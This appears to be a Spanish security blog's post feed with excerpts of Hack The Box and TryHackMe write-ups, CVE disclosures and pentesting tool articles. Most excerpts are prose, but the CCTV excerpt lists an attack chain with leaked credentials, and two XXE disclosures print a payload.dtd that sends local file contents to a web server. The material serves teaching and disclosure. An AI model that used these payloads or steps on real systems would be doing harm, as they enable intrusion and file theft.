Web on Hackpuntes

CCTV WriteUp

Sat, 11 Jul 2026 00:00:00 +0000

CCTV es una máquina de dificultad 🟩 Easy de la plataforma Hack The Box. Combina la explotación de una SQL Injection en ZoneMinder para obtener credenciales de un usuario SSH, con el descubrimiento de servicios internos de video-vigilancia tras pivotar desde la máquina comprometida. La escalada a root se consigue a través de un RCE autenticado en motionEye.

🗺️ Cadena de Ataque

Nmap → Puerto 80 (ZoneMinder 1.37.63)
│
▼
Credenciales por defecto admin:admin → acceso al panel
│
▼
CVE-2024-51482 (Boolean SQLi) → sqlmap → mark:opensesame
│
▼
SSH como mark
│
▼
LinPEAS → tcpdump (cap_net_raw) + puertos internos
│
▼
Port Forwarding → motionEye 0.43.1b4 en :8765
│
▼
/etc/motioneye/motion.conf → admin:989c5a8ee87a0e9521ec81a79187d162109282f0
│
▼
CVE-2025-60787 (Metasploit RCE) → root 🏴

🔍 Reconocimiento

Escaneo de Puertos

echo "10.129.15.204 cctv.htb" | sudo tee -a /etc/hosts
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv cctv.htb
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv cctv.htb

Puerto	Servicio	Detalle
`22`	SSH	OpenSSH 9.6p1 Ubuntu
`80`	HTTP	Apache 2.4.58 → `SecureVision CCTV`

La superficie de ataque es pequeña. El puerto 22 no es vulnerable, así que nos centramos en el 80.

Fridagate - Herramienta Android para gestionar Frida e interceptar tráfico con Burp Suite

Wed, 15 Apr 2026 00:00:00 +0000

Fridagate es una aplicación Android open source diseñada para pentesters de aplicaciones móviles. Permite gestionar frida-server, interceptar tráfico HTTPS con Burp Suite e inyectar scripts de bypass directamente desde el dispositivo, sin necesidad de ejecutar comandos manualmente en cada sesión de auditoría.

El proyecto nació de una necesidad real: durante una auditoría de apps Android el flujo habitual implica conectar por ADB, subir frida-server, darle permisos, arrancarlo, configurar el proxy del sistema, añadir reglas iptables… Fridagate automatiza todo eso desde una interfaz limpia en el propio teléfono.

PortSwigger Labs - Exploiting LLM APIs with Excessive Agency

Mon, 09 Mar 2026 00:00:00 +0000

Estás auditando una aplicación web que integra un Large Language Model (LLM) como asistente de soporte al cliente. A simple vista parece inofensivo, el usuario pregunta, el modelo responde. Pero debajo de esa interfaz de chat se esconde algo mucho más peligroso, el LLM tiene acceso directo a una API de depuración que ejecuta comandos SQL arbitrarios sobre la base de datos de producción.

TryHackMe - Machine - Pickle Rick v2

Mon, 17 Nov 2025 00:00:00 +0000

¡Buenas, hackers! 👋

Hoy, nos sumergimos en la máquina Pickle Rick de TryHackMe. Es un desafío clásico de nivel 🟩 Fácil, perfecto para practicar la enumeración web y la escalada de privilegios básica.

🚀 Antes de empezar

Añadimos la máquina al archivo /etc/hosts, comprobamos la conexión con ping y creamos las carpetas de trabajo

echo '10.10.34.26\tpicklerick.thm' | sudo tee -a /etc/hosts
ping -c 1 picklerick.thm
mkdir -p ~/thm/picklerick/{exploits,fuzz,http,nmap}
cd ~/thm/picklerick/

🔎 Reconocimiento

Escaneo de puertos con Nmap

Comprobamos todos los puertos que están abiertos, detectamos el servicio y su versión con nmap y generamos all.html para ver la información.

HTB Machine BountyHunter

Sat, 20 Nov 2021 00:00:00 +0000

Descripción general

Bienvenido al writeup de la máquina bountyhunter de la plataforma Hack The Box. BountyHunter es una máquina Linux que estuvo activa desde el 24 de julio hasta el 20 de noviembre. En esta máquina encontraremos una vulnerabilidad XXE que usaremos junto con un wrapper PHP para leer ficheros internos y obtener información sensible. Con la información obtenida nos conectaremos por SSH y una vez dentro analizaremos un script Python para descubrir cómo abusarlo y conseguir ejecución de código como root.

reNgine – Framework de reconocimiento automatizado para aplicaciones web

Mon, 19 Oct 2020 00:00:00 +0000

1. Sobre reNgine

Dashboard de la aplicación reNgine

reNgine es un framework de reconocimineto automatizado para aplicaciones web utilizado para realizar la fase de recopilación de información durante las auditorías, cuenta con varios motores de escaneo personalizables que pueden ayudarnos para:

Escanear puertos en los servidores de aplicaciones.
Enumerar subdominios.
Buscar directorios y archivos.
Encontrar endpoints.
Tomar capturas de pantalla.

Enviar tráfico de Burp Suite a través de VPS

Mon, 13 Apr 2020 00:00:00 +0000

Cuando estamos auditando una aplicación externa con Burp Suite, podemos encontrarnos en un entorno con restricciones de red, por ejemplo, un firewall podría interferir en nuestros paquetes y descartarlos o modificarlos, lo que daría como resultado falsos positivos o la anulación de ciertas pruebas de seguridad.

En esta entrada, veremos como enviar el tráfico del proxy de Burp Suite a través de una máquina linux en la nube (VPS) para evitar estos problemas u otros similares.

Añadir CA de Burp Suite al almacén de certificados de Kali Linux

Sun, 29 Mar 2020 00:00:00 +0000

Durante un programa privado de bug bounty, estuve utilizando las herramientas cURL, gobuster y sqlmap a través del proxy de Burp Suite. Como siempre y por vagancia, configuraba las herramientas para que ignoraran el certificado de PortSwigger (por ejemplo, la opción -k en cURL).

En caso de no añadir opciones de ignorar certificados a nuestras herramientas, podemos obtener errores del tipo SSL certificate problem.

Cabeceras de seguridad HTTP

Wed, 11 Dec 2019 00:00:00 +0000

Las Cabeceras HTTP son parámetros que se envían en una petición o respuesta HTTP entre el cliente y el servidor para proporcionar información esencial sobre la transacción que se esté llevando a cabo. Estas cabeceras siempre utilizan la sintaxis «Cabecera: Valor» y a continuación veremos cuales son las cabeceras de respuesta más importantes enfocándonos en la seguridad.

HTTP Strict Transport Security (HSTS)

Esta cabecera permite indicar a un navegador que siempre se utilice el protocolo HTTPS para establecer la comunicación entre el cliente y servidor (en lugar de HTTP). Esto significa que cualquier marcador, enlace, recurso o dirección forzará a los usuarios a hacer uso de HTTPS, inclusive si el propio usuario especifica el uso de HTTP.

CVE-2019-19032 XMLBlueprint <= 16.191112 - Inyección XML (XXE)

Mon, 25 Nov 2019 00:00:00 +0000

Resumen

Se ha detectado una vulnerabilidad de inyección XML (XXE) basada en entidades externas (DTD) en el software XMLBlueprint versión 16.191112 y posiblemente anteriores. Esta vulnerabilidad está asociada al CVE-2019-19032 .

Impacto

Un usuario malintencionado, podría generar un archivo XML malicioso con la intención de causar una denegación de servicio a la aplicación o leer archivos arbitrarios del sistema.

Prueba de concepto

Iniciar un servidor web.

python -m SimpleHTTPServer 80

Subir el siguiente archivo payload.dtd al servidor.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:80/?%file;'>">
%all;

Crear un archivo de texto (secret.txt) en el escritorio con cualquier contenido.

CVE-2019-19031 Easy XML Editor <= 1.7.8 - Inyección XML

Fri, 22 Nov 2019 00:00:00 +0000

Resumen

Se ha detectado una vulnerabilidad de inyección XML basada en entidades externas (DTD) en el software Easy XML Editor versión 1.7.8 y posiblemente anteriores. Esta vulnerabilidad está asociada al CVE-2019-19031 .

Impacto

Un usuario malintencionado, podría generar un archivo XML malicioso con la intención de causar una denegación de servicio a la aplicación o leer archivos arbitrarios del sistema.

Prueba de concepto

Iniciar un servidor web.

python -m SimpleHTTPServer 80

Subir el siguiente archivo payload.dtd al servidor.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:80/?%file;'>">
%all;

Crear un archivo de texto (secret.txt) en el escritorio con cualquier contenido.

CVE-2019-15092 WordPress Plugin Import Export Users = 1.3.0 - CSV Injection

Thu, 22 Aug 2019 00:00:00 +0000

Impacto

Un usuario malicioso con permisos básicos de WordPress (suscriptor) podría ejecutar comandos en el equipo del administrador a través de inyecciones CSV en los campos display_name, first_name y last_name.

CVSS v3.1 Vector

AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CVE-2019-14346 Adive Framework 2.0.7 - Cross-Site Request Forgery

Fri, 02 Aug 2019 00:00:00 +0000

Las vulnerabilidades Cross-Site Request Forgery (CSRF) encontradas en Adive Framework 2.0.7 permiten a un usuario malintencionado realizar acciones como cambiar la contraseña de un usuario a través de este ataque. La vulnerabilidad, ha sido asociada al CVE-2019-14346.

CVE-2019-14346

Adive Framework 2.0.7 – Cross-Site Request Forgery

www.adive.es

📅 Vulnerabilidad descubierta por Pablo Santiago el 02/08/2019
🐛 CVE-2019-14346
🔗 Link del software web y del github con el proyecto.
🐞 Versión vulnerable = 2.0.7 y anteriores probablemente.

Solución: Añadir tokens anti-CSRF en las peticiones.

CVE-2019-14347 Escalacion de privilegios en Adive

Fri, 02 Aug 2019 00:00:00 +0000

Adive Framework 2.0.7

https://www.adive.es/

Adive es un Framework PHP 7 para desarrollar webs y aplicaciones en línea,administra bases de datos MySQL, es una alternativa rápida, fácil y excelente para generar plantillas teniendo así la principal estructura visual de cualquier pagina web. Esta versión incluye un kit de herramientas para desarrolladores para generar tablas, campos y entidades, formas de control y bases de datos. Adive es un ambicioso proyecto de Schben, cuyo objetivo es convertir la «codificación» en «diseño».

CVE 2019-14348 JoomSport - for Sports - SQL injection

Mon, 29 Jul 2019 00:00:00 +0000

JoomSport 3.3– for Sports: Team & League, Football, Hockey & more

JoomSport es un plugin de WordPress desarrollado en 2009 que ofrece características esenciales para cualquier sitio de deporte, estándares de ligas de deportes, deportes de equipo con sus respectivas descripciones, historial de partidos, estadísticas y fotos, incluyendo los enfrentamientos entre los equipos con los goles o tantos anotados por ambos equipos y detalles de los partidos.

📅 Vulnerabilidad descubierta por Pablo Santiago el 29/07/2019
🐛 CVE-2019-14348
ExploitDB
🔗 Link del software JoomSport
🐞 Versión vulnerable = 3.3 y anteriores probablemente.

Solución: Parchear la vulnerabilidad para la siguiente versión filtrando los datos de entradas introducidos por el usuario.

Desplegar un servidor privado de Burp Collaborator en Azure

Wed, 12 Jun 2019 00:00:00 +0000

Burp Collaborator es un servicio externo de Burp Suite que nos ayuda a detectar algunas vulnerabilidades basadas en interacciones con servicios externos o las llamadas vulnerabilidades ciegas.

Por defecto, Burp Suite crea de manera automática una instancia pública de Collaborator en sus servidores de AWS para la realización de estas pruebas, por este motivo, algunos usuarios pueden tener preocupaciones sobre la seguridad de los datos procesados, más aún si son de terceros. A continuación, se detallan los pasos para crear nuestro propio Burp Collaborator ayudándonos y complementando la documentación oficial de PortSwigger.

Guía sobre análisis estático de código JavaScript

Mon, 20 May 2019 00:00:00 +0000

JavaScript se ha convertido en una de las tecnologías más utilizadas de los navegadores modernos gracias a frameworks como AngularJS, ReactJS o Vue.js. Esta entrada pretende ser una guía sobre cómo encontrar y analizar todos los archivos JavaScript que contiene una aplicación web con el objetivo de detectar posibles vulnerabilidades, como en la entrada sobre toma de control de subdominios , esta guía intentaré tenerla actualizada.

Es esencial que entendamos la superficie de ataque de las aplicaciones y saber qué debemos buscar y dónde. El análisis de código JavaScript es uno de ellos, por eso a continuación, se detallan una serie de puntos a seguir para detectar fallos de seguridad en el lado del cliente.

Guía sobre toma de control de subdominios

Thu, 11 Apr 2019 00:00:00 +0000

En esta publicación, voy a hablaros sobre una vulnerabilidad conocida como Toma de control de subdominios (subdomain takeover), explicaré en qué consiste y como podemos detectarla. Es posible que pueda ir actualizando esta entrada con nuevas herramientas o técnicas de descubrimiento, así que, te sugiero que la guardes en tus favoritos. 😉

¿En qué consiste la vulnerabilidad?

La vulnerabilidad de toma de control de subdominio, ocurre cuando un registro DNS (principalmente CNAME) habilita la delegación de zona a un servicio de terceros (Amazon S3, Azure, GitHub, Heroku, etc) y, pasado un tiempo, este servicio puede dejar de ser utilizado o borrado y reclamado por un usuario malintencionado, un ejemplo de un caso real sería el siguiente:

CVE-2019-7400 Rukovoditel ERP & CRM 2.4.1 - Cross-Site Scripting Reflejado

Sun, 24 Mar 2019 00:00:00 +0000

CVE-2019-7400

Rukovoditel ERP & CRM 2.4.1 – Cross-Site Scripting Reflejado

Rukovoditel es una aplicación gratuita de gestión de proyectos de código abierto basada en web. Muy lejos de las aplicaciones tradicionales, Rukovoditel ofrece a los usuarios un enfoque más amplio y extenso de la gestión de proyectos. Sus opciones de personalización permiten a los usuarios crear entidades adicionales, modificar y especificar la relación entre ellas y generar los informes necesarios. La plataforma permite a los usuarios crear su propia aplicación que está específicamente diseñada para su actividad (CRM, ERP, HRM, WMS, etc.)

Configurando Burp Suite para versiones superiores a Android Nougat

Sun, 24 Feb 2019 00:00:00 +0000

En las últimas semanas, estoy auditando varias aplicaciones de Android con Burp Suite, después de unos días de trabajo con mi vieja versión de Android 5.0 pensé que ya era hora de actualizar a una superior, y quizás, utilizar nuevas herramientas, aquí me tope con Genymotion gracias a un compañero de trabajo.

Una vez instalado y configurado Burp Suite con Android tal y como nos recomiendan en la web de Portswigger , me encontré con el siguiente problema:

CVE-2018-19829 Integria IMS 5.0.83 - Cross-Site Request Forgery

Mon, 17 Dec 2018 00:00:00 +0000

Las vulnerabilidades Cross-Site Request Forgery (CSRF) encontradas en el software Integria IMS 5.0.83 han quedado solucionadas. Estas, permitían a un usuario malintencionado borrar usuarios de la aplicación a través de este ataque. La vulnerabilidad, ha sido asociada al CVE-2018-19829 .

CVE-2018-19829

Integria IMS 5.0.83 - Cross-Site Request Forgery (CSRF)

Integria IMS es un software de help desk sencillo, potente y fácil de usar. Dispone de inventario automatizado y controlado desde un solo interfaz. Agiliza los procesos reduciendo los tiempos y costes de gestión en sus proyectos. Gracias a sus informes personalizados estará informado y podrá ver fácilmente la gestión y calidad del servicio dado en tiempo real.

CVE-2018-19828 Integria IMS 5.0.83 - Cross-Site Scripting Reflejado

Fri, 14 Dec 2018 00:00:00 +0000

CVE-2018-19828

Integria IMS 5.0.83 - Cross-Site Scripting Reflejado

CVE-2018-18921 PHP Server Monitor 3.3.1 - Cross-Site Request Forgery

Mon, 03 Dec 2018 00:00:00 +0000

Las vulnerabilidades Cross-Site Request Forgery (CSRF) encontradas en el software PHP Server Monitor 3.3.1 han quedado solucionadas. Estas, permitían a un usuario malintencionado borrar servidores, logs y usuarios de la aplicación a través de este ataque. La vulnerabilidad, ha sido asociada al CVE-2018-18921 .

CVE-2018-18921

PHP Server Monitor 3.3.1 - Cross-Site Request Forgery (CSRF)

PHP Server Monitor es una aplicación web orientada a monitorizar la disponibilidad de servidores PHP, comprueba si están correctamente funcionando, monitoriza los servicios, genera gráficos e historial de actividad además de almacenar logs de errores y permitir notificaciones a través de email y Telegram, está desarrollada en PHP y MySQL.

TOP 10 herramientas de seguridad para aplicaciones web

Tue, 20 Nov 2018 00:00:00 +0000

En esta entrada, os mostraré un listado de las que son (para mí), las 10 mejores herramientas de seguridad para aplicaciones web.

No soy un experto en hacking web y puede que no estés del todo de acuerdo con mi lista TOP, por lo tanto, siéntete libre de comentar y añadir la tuya 😉

TOP 10 Herramientas de seguridad web

#1 Burp Suite

CVE-2018-18922 Ticketly 1.0 - Escalación de Privilegios (Crear cuenta administrador)

Mon, 05 Nov 2018 00:00:00 +0000

Hoy, publico otra entrada relacionada con vulnerabilidades en aplicaciones web, esta vez, sobre un software de ticketing llamado Ticketly 1.0 desarrollado por AbiSoft. La vulnerabilidad encontrada, permite a un atacante crearse una cuenta de administrador en el sistema mediante una vulnerabilidad de Escalación de Privilegios , la vulnerabilidad ha sido asociada al CVE-2018-18922 .

Ticketly - CVE-2018-18922

Ticketly 1.0 - Privilege Escalation (Add Admin Account)

CVE-2018-18923 Ticketly 1.0 - Múltiples SQL Injections

Mon, 05 Nov 2018 00:00:00 +0000

En la entrada anterior , hemos visto una vulnerabilidad de Escalación de Privilegios en Ticketly 1.0 , en esta entrada, vamos a ver otras vulnerabilidades que he encontrado en este software, en concreto, múltiples SQL Injections, estas vulnerabilidades han sido asociadas al CVE-2018-18923 .

Ticketly - CVE-2018-18923

Ticketly 1.0 - Multiple SQL Injections

Ticketly 1.0, es un software de ticketing desarrollado por AbiSoft para ofrecer soporte a los usuarios sobre incidencias en los sistemas, está basado en PHP y MySQL.

CVE-2018-18478 Libre NMS 1.43 - Cross-Site Scripting Persistente

Fri, 19 Oct 2018 00:00:00 +0000

Esta entrada tiene como objetivo hacer pública la vulnerabilidad Cross-Site Scripting Persistente descubierta en el software Libre NMS 1.43 , la vulnerabilidad ha sido asociada al CVE-2018-18478 .

Libre NMS - CVE-2018-18478

Libre NMS 1.43 – Cross-Site Scripting Persistente

Libre Network Monitoring System, es un software utilizado para monitoreo de red basado en PHP / MySQL / SNMP que incluye el soporte para una amplia gama de hardware de red y sistemas operativos que incluyen Cisco, Linux, FreeBSD, Juniper, Brocade, Foundry, HP y muchos más.

OWASP Juice Shop Project - Laboratorio para practicar las 10 vulnerabilidades más comunes en aplicaciones web

Mon, 08 Oct 2018 00:00:00 +0000

OWASP Juice Shop es una aplicación web desarrollada completamente en JavaScript con el objetivo de reproducir de manera intencionada las 10 vulnerabilidades más comunes en aplicaciones web (Top Ten de OWASP) para que el usuario pueda explotarlas y aprender sobre la seguridad en aplicaciones web.

TOP Ten de OWASP (2017)

Estas son las vulnerabilidades más comunes en aplicaciones web en el 2017

1) Inyección

Las fallas de inyección, como SQL, NoSQL, OS o LDAP ocurren cuando se envían datos no confiables a un intérprete, como parte de un comando o consulta. Los datos dañinos del atacante pueden engañar al intérprete para que ejecute comandos involuntarios o acceda a los datos sin la debida autorización.

CVE-2018-15918 Jorani Leave Management System 0.6.5 - SQL Injection

Mon, 03 Sep 2018 00:00:00 +0000

Esta entrada tiene como finalidad hacer pública la vulnerabilidad SQL Injection descubierta en el software Jorani Leave Management System 0.6.5 , la vulnerabilidad ha sido asociada al CVE-2018-159178 .

Jorani CVE-2018-15918

Jorani Leave Management System 0.6.5 – SQL Injection

Jorani es un sistema de administración de licencias desarrollado en PHP / MySQL bajo una licencia AGPL v3, está diseñado para proporcionar solicitud de flujos de trabajo simples y tiempo extra para organizaciones pequeñas.

CVE-2018-15917 Jorani Leave Management System 0.6.5 - Cross-Site Scripting Persistente

Sat, 01 Sep 2018 00:00:00 +0000

Esta entrada tiene como objetivo hacer pública la vulnerabilidad Cross-Site Scripting Persistente descubierta en el software Jorani Leave Management System 0.6.5 , la vulnerabilidad ha sido asociada al CVE-2018-15917 .

Jorani CVE-2018-15917

Jorani Leave Management System 0.6.5 - Cross-Site Scripting Persistente

CVE-2018-15873 Sentrifugo HRMS 3.2 - Blind SQL Injection

Sun, 26 Aug 2018 00:00:00 +0000

Esta entrada tiene como objetivo hacer pública la vulnerabilidad Blind SQL Injection descubierta en el software Sentrifugo HRMS 3.2 , la vulnerabilidad ha sido asociada al CVE-2018-15873 .

Sentrifugo HRMS 3.2 - CVE-2018-15873

Sentrifugo es un software open source que facilita la administración de recursos humanos en las organizaciones. Está repleto de módulos esenciales como evaluación, gestión del tiempo, gestión de licencias, gestión de empleados, análisis, contratación, verificación de antecedentes, servicio técnico y mucho más. Permite a los empleados contribuir de manera efectiva y productiva a los objetivos de la organización.

CVE-2018-15571 WordPress Plugin Export Users to CSV 1.1.1 - CSV Injection

Fri, 24 Aug 2018 00:00:00 +0000

Buenas a todos de nuevo, volviendo de las vacaciones 🏖️, MITRE me ha asignado otro CVE para plugins WordPress , esta vez, he descubierto una vulnerabilidad de ejecución remota de código a través de inyección CSV en el plugin Export Users to CSV - 1.1.1 , desarrollado por Matt Cromwell . Esta vulnerabilidad ya fue reportada, no ha sido reconocida por el autor y ha sido asociada al CVE-2018-15571 .

WordPress Plugin CVE-2018-15571

Export Users to CSV - 1.1.1 - Inyección CSV

CVE-2018-14430 WordPress Plugin Multi Step Form <= 1.2.5 - Múltiples Cross Site Scripting Reflejados

Sat, 21 Jul 2018 00:00:00 +0000

Durante otra de mis auditorias a plugins para WordPress , he descubierto varias vulnerabilidades del tipo Cross Site Scripting Reflejado (XSS) en el plugin Multi Step Form <= 1.2.5 , desarrollado por Mondula GmbH . Esta vulnerabilidad ya fue reportada y ha sido asociada al CVE-2018-14430 .

WordPress Plugin CVE-2018-14430

Multi Step Form <= 1.2.5 – Múltiples Cross Site Scripting Reflejados

CVE-2018-13832 WordPress Plugin All In One Favicon <= 4.6 - Autenticado Múltiples Cross Site Scripting Persistentes

Tue, 10 Jul 2018 00:00:00 +0000

Durante una de mis auditorias a plugins para WordPress , he descubierto varias vulnerabilidades del tipo Cross Site Scripting Persintente (XSS) en el plugin All In One Favicon <= 4.6 , desarrollado por Arne Franken de Techotronic . Esta vulnerabilidad ya fue reportada y ha sido asociada al CVE-2018-13832 .

WordPress Plugin CVE-2018-13832

All In One Favicon <= 4.6 – Autenticado Múltiples Cross Site Scripting Persistentes

Enumerar usuarios y realizar ataques de fuerza bruta en WordPress con Burp Suite

Wed, 20 Jun 2018 00:00:00 +0000

En esta entrada vamos a ver como 👤 enumerar usuarios y realizar ataques de fuerza bruta para intentar acceder al panel de administración de un sitio web desarrollado con el CMS (Gestor de contenido) WordPress, para realizar este ataque, haremos uso de la herramienta 🛠 Burp Suite.

Existen varios scripts e incluso herramientas como 🛠 WPScan para realizar enumeración de usuarios y ataques por fuerza bruta, el inconveniente de estas herramientas, es que pueden realizar pruebas activas contra el sitio web que no deseamos realizar.

Exploit CVE-2018-6389 - WordPress Core - Denial of Service

Thu, 08 Mar 2018 00:00:00 +0000

Últimamente estoy muy atento de las vulnerabilidades de los CMS y vengo a compartir con vosotros otro exploit que he desarrollado para la vulnerabilidad CVE-2018-6389 . Esta vulnerabilidad descubierta por Barak Tawily , permite lanzar un ataque de denegación de servicio (DOS) sobre las páginas webs desarrolladas con WordPress (se estima que aproximadamente el 29% de todas las webs que existen actualmente en el mundo están desarrolladas con este framework).

Exploit CVE-2018-6396 - Joomla Google Map Landkarten SQL Injection

Sun, 04 Mar 2018 00:00:00 +0000

Hoy quería compartir con vosotros un exploit que he desarrollado en Python para explotar una vulnerabilidad SQLi descubierta por Ihsan Sencan en el componente Google Map Landkarten , esta vulnerabilidad tiene asociado el CVE-2018-6396.

Joomla CVE-2018-6396

Joomla! Component Google Map Landkarten <= 4.2.3 – SQL Injection

📅 Vulnerabilidad descubierta por Ihsan Sencan el 16/02/2018
💣 Exploit desarrollado por Javier Olmedo el 03/03/2018
🐛 CVE-2018-6396
🔗 Link del software Google Map Landkarten
🐞 Versión vulnerable <= 4.2.3

¿Cómo usar este exploit?

En primer lugar, usa este exploit únicamente sobre sitios web administrados por ti o en los cuales tengas consentimiento para realizar está comprobación, en mi caso, me he creado una web con Joomla 3.8.5 en mi máquina local.

WordPress Exploit FrameWork (WPXF) - Instalación, comandos y uso con ejemplo de explotación

Fri, 05 Jan 2018 00:00:00 +0000

WordPress Exploit FrameWork es una herramienta que sirve de ayuda a los auditores de aplicaciones web a la hora realizar pruebas de seguridad sobre sitios webs basados en el conocido gestor de contenidos (CMS) WordPress, está desarrollado en Ruby y está orientado al uso y desarrollo de módulos, exploits y payloads, algo similar al conocido Metasploit.

XXE - XML External Entity - El Nuevo SQLi

Sat, 30 May 2015 00:00:00 +0000

XXE (Xml eXternal Entity) es un tipo de vulnerabilidad que se produce en aplicaciones que hacen uso de «parsers» XML. Es decir aplicaciones que reciben como entrada un documento XML y para procesarlo hacen uso de alguna librería de parseo como LibXML, Xerces, MiniDOM, SAX etc. El atacante entonces puede aprovechar esta vulnerabilidad y enviar un documento XML especialmente manipulado para conseguir que el parser XML divulgue información del sistema, consuma recursos en exceso, ejecute comandos u otras formas de explotación.

Ataques SQL injection contra Bases de Datos mediante SQLmap

Wed, 11 Mar 2015 00:00:00 +0000

Hoy en día, uno de los ataques que más se utiliza contra aplicaciones web son los llamados SQL Injection, estos ataques tienen como objetivo acceder a la base de datos del sitio web, y obtener información sensible sobre ella, como por ejemplo los datos para administrar el sitio web, contraseñas de los usuarios, correos electrónicos, DNI, dirección e incluso números de tarjetas de crédito con los códigos de verificación, etc.